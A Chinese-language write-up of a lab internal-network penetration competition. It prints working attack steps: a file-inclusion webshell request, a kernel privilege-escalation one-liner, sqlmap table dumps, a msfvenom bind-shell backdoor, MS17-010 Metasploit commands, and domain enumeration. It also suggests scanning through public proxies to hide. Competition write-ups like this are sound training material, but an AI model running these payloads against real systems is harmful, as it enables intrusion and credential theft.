前言
429比赛是一场Web内网渗透比赛,虽然整个比赛的题目相对简单,但因以前没有玩过这样的比赛,对内网渗透也了解得不多,通过这次比赛正好学到了很多知识,在此稍微总结下。
网络拓扑
攻击者一开始只能访问第一台对外开放的Centos机器,所有内网机器需要将第一台Centos机器作为跳板才能访问。
赛后汇总下整场比赛的网络环境,如下。
选手IP
ID | IP |
---|---|
攻击机 | 172.16.8.3/24 |
靶机列表
IP | 开启端口 | 服务器信息 |
---|---|---|
192.168.5.10 | 22,80,111,3306 | Centos 2.6.18 |
192.168.6.15 | 21,22 | Ubuntu |
192.168.6.16 | 22,80,3306,8009,8080 | Ubuntu |
192.168.6.17 | 22,80 | Ubuntu |
192.168.6.200 | 53,80,135,445,3389,445 | Windows |
具体漏洞
获得跳板机
开始比赛后,选手只能访问到第一个网站(www.theyer.com,IP:192.168.5.10)。
首先,使用nmap进行检测扫描。
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-27 08:33 CST
Nmap scan report for 192.168.5.10
Host is up (0.00097s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.3 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL (unauthorized)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.80 seconds
看到开了22,80,111,3306四个端口。这里,我直接后台开了hrydra尝试爆破了下22和3306,可惜没拿到好的结果。
然后,突然发现AWVS扫描器给了一个高危漏洞提醒,发现这个站前台竟然直接存在文件包含漏洞。于是尝试php://input
直接写webshell,拿下第一个web站。
http://shop.theyer.com/index.php?page=php://input
<?php phpinfo();?>
PS: 这其实是和预期解有差别,主要原因是一开始我没怎么看前端逻辑,外加AWVS异常给力,直接给了个高危,所以很暴力,直接获得了webshell。传统解法应该是先通过第一个www站(上面文件包含是shop站,)下载到一个apk,然后逆向得到第二个站shop的url,接着通过shop站获得权限。
用蚁剑控制我们的第一台肉鸡,能拿到第一个flag。
要拿第二个flag则需要提权。
[centos@localhost upload]$ uname -r
2.6.18-194.el5
linux版本很老,直接搜就搜kernel 2.6.18 提权就能得到很多payload。
#!/bin/bash
printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u root
现场使用了如上进行提权,提权到root,获得第二个flag。
纵向渗透
纵向渗透首先要在第一台跳板机上架设代理。我们这里主要用shadowsocks在第一个跳板机上面架设了一个sock5代理,后续走该代理进行攻击。
不过,由于我当时环境有点问题,我另外临时架设了一个HTTP代理,进行一些简单的扫描。mproxy
通过ifconfig,可以知道第一台Centos服务器还有一个网卡,是6段的ip。
? (192.168.6.1) at 00:50:56:A6:FB:37 [ether] on eth1
? (192.168.6.15) at 00:50:56:A6:1D:B4 [ether] on eth1
? (192.168.6.16) at 00:50:56:A6:58:78 [ether] on eth1
? (192.168.6.17) at 00:50:56:A6:BD:AF [ether] on eth1
? (192.168.6.200) at 00:50:56:A6:53:3D [ether] on eth1
192.168.6.15是一台FTP服务器。
[+] 192.168.6.15: - 192.168.6.15:22 - TCP OPEN
[+] 192.168.6.15: - 192.168.6.15:21 - TCP OPEN
FTP服务器存在弱口令漏洞,可以通过123456登录,里面存着192.168.6.17的源码(非完全一致)。里面也有mail系统邮箱和密码的泄漏。这台服务器不存在flag,不撸下来其实问题也不大。
192.168.6.16是一个邮件系统。
如果撸下来前面的FTP服务器,就可以通过源码中泄漏的用户名和密码登录。此外,这个邮箱也是一个flag。
[+] 192.168.6.16: - 192.168.6.16:22 - TCP OPEN
[+] 192.168.6.16: - 192.168.6.16:80 - TCP OPEN
[+] 192.168.6.16: - 192.168.6.16:3306 - TCP OPEN
[+] 192.168.6.16: - 192.168.6.16:8009 - TCP OPEN
[+] 192.168.6.16: - 192.168.6.16:8080 - TCP OPEN
16机器开着8080,是一个tomcat,可以通过弱口令manager登录,直接部署war包就能得到root权限,获得webshell。(http://192.168.6.16:8080/manager/html,http://192.168.6.16:8080/jsp/jsp.jsp?cmd=whoami)
拿到webshell后,可以得到一个flag。然后查看源码,查询数据库也可以得到邮件名字得到flag。此外,在这个服务器上的根目录也有一个flag。
这里很蛋疼,部署war包得到的是jsp的马,而蚁剑没办法管理jsp的马。有一个思路就是通过这个jsp,往80端口的php mail服务器写一个php的马,再通过蚁剑管理。
192.168.6.17是内网管理网站?。这里AWVS通过HTTP代理扫描了一下,又给了一个惊喜,直接给了sql盲注(http://192.168.6.17/message.php,id存在盲注)。
然后,通过socks代理直接sql注入即可。
python sqlmap.py --proxy=socks5://172.16.8.3:1088 -u "http://192.168.6.17/message.php?id=1" -D my_oa -T flag --dump
python sqlmap.py --proxy=socks5://172.16.8.3:1088 -u "http://192.168.6.17/message.php?id=1" -D my_oa -T admin --dump
Flag表中存在一个flag,这里注入出admin的密码后,反解一下。admin,37s984pass。
登录后,有一个上传点可以直接上传php马,然后获得webshell,翻一下目录也可以得到一个flag。
域渗透
最后是一台windows服务器,应该就是域控制器,通过msf可以得到这台windows存在MS17-010的洞。
[+] 192.168.6.200: - 192.168.6.200:53 - TCP OPEN
[+] 192.168.6.200: - 192.168.6.200:80 - TCP OPEN
[+] 192.168.6.200: - 192.168.6.200:135 - TCP OPEN
[+] 192.168.6.200: - 192.168.6.200:445 - TCP OPEN
[+] 192.168.6.200: - 192.168.6.200:3389 - TCP OPEN
192.168.6.200:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
不过,由于中间接了代理,msf的传统ms17-010一直打不成功,后面就使用ms17-010的任意代码执行攻击脚本攻击。
这里涉及到内网穿透的一些问题,赛后总结了一下,有两种方式。
第一种方式比较复杂,就是通过
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=192.168.5.10 LPORT=12345 -f elf > bind.elf
生成一个后门,上传到第一台跳板机,然后得到第一台跳板机的metpreter,再通过配置route来打内网的6段服务器。第二种就是直接使用msf的代理功能,直接设置一个代理
set proxies socks5:172.16.201.1:1088
即可。不过,这两种方式都很难解决反弹shell问题,这个至今我也没想到什么好的解决方案。如果有内网渗透的大佬看到,求指导(可怜)。另外,也想问下,大家用nmap跨代理扫描时没遇到问题么?为啥今天测试的时候,各种bug。nmap自带的proxies功能貌似也不行。
没办法解决反弹的问题,我们这里需要用msf的bind tcp后门(正向后门)。
set proxies socks5:172.16.201.1:1088
use auxiliary/admin/smb/ms17_010_command
set VERBOSE 1
set DBGTRACE 1
set rhosts 192.168.6.200
set command 'net user'
set payload windows/x64/meterpreter/bind_tcp
exploit
set command "for /r C:\ %i in (*flag*) do @echo %i"
set command "type c:\\flag.txt"
c盘目录下存在一个flag,扫描读取即可。
不过,由于前面只是一个任意代码执行,所以没获得metpreter,很多操作很难做。我们这里最后是修改了域下的Administrator的密码,通过3389登录进去获得了最后一个flag。(赛后交流,有选手是通过ms17-010原生脚本直接获得meterpreter的。)
wmic computersystem get domain #查看当前域
net group "domain controllers" /domain
net group "domain admins" /domain
最后
整个比赛还学习了下mimikatz的使用方式,感觉这个东西在域渗透过程中也很有用。proxychains在代理转发过程中也有奇效,可惜在赛场上我的mac一直运行不起来。burpsuite的代理功能也很有趣,可以追踪很多流量。另外,跨代理的nmap扫描也有意思。这样的话,我们或许就可以通过一些公开的HTTP代理,内网渗透一些HTTP代理的内网,或者隐藏自己,进行扫描。tsh作为一个后门来持续反弹连接也是一个很好的解决方案。
和传统CTF的解题、AWD模式相比,有很大的差别,不过更贴近实战一些,能给我这种手残白帽党一个体验内网渗透的机会。
最后,整场比赛和小飘逸、煜博合作,还是很稳,致谢队友!
其他
MAC使用proxychains存在SIP的问题,需要手动关闭。
https://zhuanlan.zhihu.com/p/21281236
https://github.com/mrdulin/blog/issues/18